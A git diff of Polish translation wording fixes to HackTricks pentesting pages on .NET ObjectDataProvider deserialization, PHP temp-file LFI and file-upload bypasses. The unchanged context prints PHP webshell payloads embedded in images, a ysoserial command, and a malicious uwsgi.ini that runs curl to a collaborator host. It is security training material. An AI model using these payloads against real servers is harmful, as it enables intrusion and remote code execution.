{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadżetem.
Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużywane** z tym gadgetem.
## Gadget ObjectDataProvider
@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base.
![](<../../images/image (319).png>)
Ok, kontynuujmy, przyglądając się, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi:
Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi:
![](<../../images/image (345).png>)
@ -30,9 +30,9 @@ Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy,
![](<../../images/image (596).png>)
Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona jest metoda**.
Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**.
Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_\*\* to zostanie wykonane\*\*, możesz uruchomić ten kod:
Jeśli chcesz sprawdzić, że ustawienie _**MethodName**_** spowoduje jego wykonanie**, możesz uruchomić ten kod:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -56,10 +56,10 @@ Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\
## ExpandedWrapper
Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Jest to bardzo przydatne w przypadkach, jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_\*\* wewnątrz instancji \*\*_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
```java
@ -89,7 +89,7 @@ Na [oficjalnej stronie](https://www.newtonsoft.com/json) wskazano, że ta biblio
### Przykład Json.Net
Przede wszystkim zobaczmy przykład, jak **serializować/deserializować** obiekt za pomocą tej biblioteki:
Przede wszystkim zobaczmy przykład, jak **serializować/zdeserializować** obiekt przy użyciu tej biblioteki:
```java
using System;
using Newtonsoft.Json;
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
W tym kodzie możesz **przetestować exploit**, wystarczy go uruchomić, a zobaczysz, że kalkulator zostanie uruchomiony:
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:
```java
using System;
using System.Text;

View File

@ -17,7 +17,7 @@ Również, **liczba potencjalnych nazw plików wynosi 62\*62\*62\*62\*62\*62 = 5
### Inne techniki
Inne techniki polegają na atakowaniu protokołów PHP (nie będziesz w stanie, jeśli kontrolujesz tylko ostatnią część ścieżki), ujawnianiu ścieżki pliku, nadużywaniu oczekiwanych plików lub **sprawieniu, by PHP doznało błędu segmentacji, aby przesłane pliki tymczasowe nie zostały usunięte**.\
Inne techniki polegają na atakowaniu protokołów PHP (nie będziesz w stanie, jeśli kontrolujesz tylko ostatnią część ścieżki), ujawnianiu ścieżki pliku, nadużywaniu oczekiwanych plików lub **sprawieniu, by PHP doznało błędu segmentacji, aby przesyłane pliki tymczasowe nie zostały usunięte**.\
Ta technika jest **bardzo podobna do ostatniej, ale nie wymaga znalezienia zero day**.
### Technika wiecznego oczekiwania
@ -33,17 +33,17 @@ W tej technice **musimy tylko kontrolować względną ścieżkę**. Jeśli uda n
**Główne problemy** tej techniki to:
- Potrzebujesz, aby konkretne plik(i) były obecne (może być ich więcej)
- **Szaleńska** ilość potencjalnych nazw plików: **56800235584**
- Potrzebne są konkretne pliki, aby były obecne (może być ich więcej)
- **Szaleńcza** ilość potencjalnych nazw plików: **56800235584**
- Jeśli serwer **nie używa cyfr**, całkowita potencjalna ilość wynosi: **19770609664**
- Domyślnie **tylko 20 plików** może być przesłanych w **jednym żądaniu**.
- **Maksymalna liczba równoległych pracowników** używanego serwera.
- Ten limit w połączeniu z poprzednimi może sprawić, że atak będzie trwał zbyt długo
- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania przesłanych plików tymczasowych, w przeciwnym razie będzie to również problem
- **Limit czasu dla żądania PHP**. Idealnie powinien być wieczny lub powinien zabić proces PHP bez usuwania tymczasowo przesłanych plików, w przeciwnym razie będzie to również problem
Jak więc możesz **sprawić, by include PHP nigdy się nie kończyło**? Po prostu przez dołączenie pliku **`/sys/kernel/security/apparmor/revision`** (**niestety niedostępny w kontenerach Docker...**).
Spróbuj to, po prostu wywołując:
Spróbuj to zrobić, po prostu wywołując:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
@ -65,20 +65,20 @@ Zróbmy trochę matematyki:
> [!WARNING]
> Zauważ, że w poprzednim przykładzie **całkowicie DoSujemy innych klientów**!
Jeśli serwer Apache jest ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** byłaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans).
Jeśli serwer Apache zostanie ulepszony i moglibyśmy nadużywać **4000 połączeń** (w połowie drogi do maksymalnej liczby). Moglibyśmy stworzyć `3999*20 = 79980` **plików** a **liczba** zostałaby **zmniejszona** do około **19.7h** lub **6.9h** (10h, 3.5h 50% szans).
## PHP-FMP
Jeśli zamiast używać regularnego modułu php dla apache do uruchamiania skryptów PHP, **strona internetowa używa** **PHP-FMP** (to poprawia wydajność strony internetowej, więc jest powszechnie spotykane), można zrobić coś innego, aby poprawić tę technikę.
Jeśli zamiast używać regularnego modułu php dla apache do uruchamiania skryptów PHP, **strona internetowa używa** **PHP-FMP** (to poprawia wydajność strony internetowej, więc często można to znaleźć), można zrobić coś innego, aby poprawić tę technikę.
PHP-FMP pozwala na **konfigurację** **parametru** **`request_terminate_timeout`** w **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie php zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **generować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń.
Ten parametr wskazuje maksymalną liczbę sekund **kiedy** **żądanie do PHP musi zakończyć się** (domyślnie nieskończoność, ale **30s, jeśli parametr jest odkomentowany**). Gdy żądanie jest przetwarzane przez PHP przez wskazaną liczbę sekund, jest **zabijane**. Oznacza to, że jeśli żądanie przesyłało pliki tymczasowe, ponieważ **przetwarzanie PHP zostało zatrzymane**, te **pliki nie zostaną usunięte**. Dlatego, jeśli możesz sprawić, aby żądanie trwało ten czas, możesz **wygenerować tysiące plików tymczasowych**, które nie zostaną usunięte, co **przyspieszy proces ich znajdowania** i zmniejsza prawdopodobieństwo DoS dla platformy poprzez wykorzystanie wszystkich połączeń.
Aby **unikać DoS**, załóżmy, że **atakujący będzie używał tylko 100 połączeń** jednocześnie, a maksymalny czas przetwarzania php przez **php-fmp** (`request_terminate_timeout`**)** wynosi **30s**. Dlatego liczba **plików tymczasowych**, które mogą być generowane **na sekundę** wynosi `100*20/30 = 66.67`.
Aby **unikać DoS**, załóżmy, że **atakujący będzie używał tylko 100 połączeń** w tym samym czasie, a maksymalny czas przetwarzania PHP przez **php-fmp** (`request_terminate_timeout`**)** wynosi **30s**. Dlatego liczba **plików tymczasowych**, które mogą być generowane **na sekundę** wynosi `100*20/30 = 66.67`.
Następnie, aby wygenerować **10000 plików**, atakujący potrzebowałby: **`10000/66.67 = 150s`** (aby wygenerować **100000 plików** czas wyniósłby **25min**).
Następnie atakujący mógłby użyć tych **100 połączeń** do przeprowadzenia **brute-force**. \*\*\*\* Zakładając prędkość 300 req/s, czas potrzebny do wykorzystania tego jest następujący:
Następnie atakujący mógłby użyć tych **100 połączeń** do przeprowadzenia **brute-force**. Zakładając prędkość 300 req/s, czas potrzebny do wykorzystania tego jest następujący:
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 godzin** (50% szans w 2.63h)
- (z 100000 plikami) 56800235584 / 100000 / 300 / 3600 \~= **0.525 godzin** (50% szans w 0.263h)
@ -88,10 +88,10 @@ Tak, możliwe jest wygenerowanie 100000 plików tymczasowych na instancji średn
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Zauważ, że aby wywołać limit czasu, wystarczy **włączyć podatną stronę LFI**, aby weszła w wieczną pętlę dołączania.
> Zauważ, że aby wywołać limit czasu, **wystarczy uwzględnić podatną stronę LFI**, aby weszła w wieczną pętlę dołączania.
## Nginx
Wygląda na to, że domyślnie Nginx obsługuje **512 równoległych połączeń** w tym samym czasie (a ta liczba może być poprawiona).
Wygląda na to, że domyślnie Nginx obsługuje **512 równoległych połączeń** w tym samym czasie (i ta liczba może być poprawiona).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -45,8 +45,8 @@ Inne przydatne rozszerzenia:
- _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod):
- _ex: file.php.png_
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje odcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
7. Używanie **strumienia danych alternatywnych NTFS (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
```
# Linux maksymalnie 255 bajtów
@ -59,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
### Ominięcie sprawdzania Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
- Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **chunk PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **chunk IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **chunk tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Inne sztuczki do sprawdzenia
@ -81,7 +81,7 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Możliwe ujawnienie informacji**:
1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
@ -89,8 +89,8 @@ AAA<--SNIP 232 A-->AAA.php.png
### Specjalne sztuczki z rozszerzeniami
Jeśli próbujesz przesłać pliki na **serwer PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Jeśli próbujesz przesłać pliki na **serwer ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je w skrypcie...)
@ -98,7 +98,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane t
## **Jetty RCE**
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, przesyłaj plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
```ini
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać ponownie uruchomiony (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
## **wget File Upload/SSRF Trick**
W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\
Maksymalna długość **nazwa pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, aby **serwer HTTP przekierował do innego pliku**, więc początkowy URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym URL**.
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, aby **serwer HTTP przekierował do innego pliku**, dzięki czemu początkowy URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym URL**.
## Narzędzia
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji webowych.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych.
## Od przesyłania plików do innych luk
@ -172,15 +172,15 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
- **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
- [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus**
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** przy przesyłaniu plików
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS przechowywane / SSRF / XXE
@ -188,9 +188,9 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
4. **CSV**: wstrzyknięcie CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : wstrzyknięcie HTML / XSS / Open redirect
7. **HTML / JS** : wstrzyknięcie HTML / XSS / otwarte przekierowanie
8. **PNG / JPEG**: atak pixel flood (DoS)
9. **ZIP**: RCE poprzez LFI / DoS
9. **ZIP**: RCE przez LFI / DoS
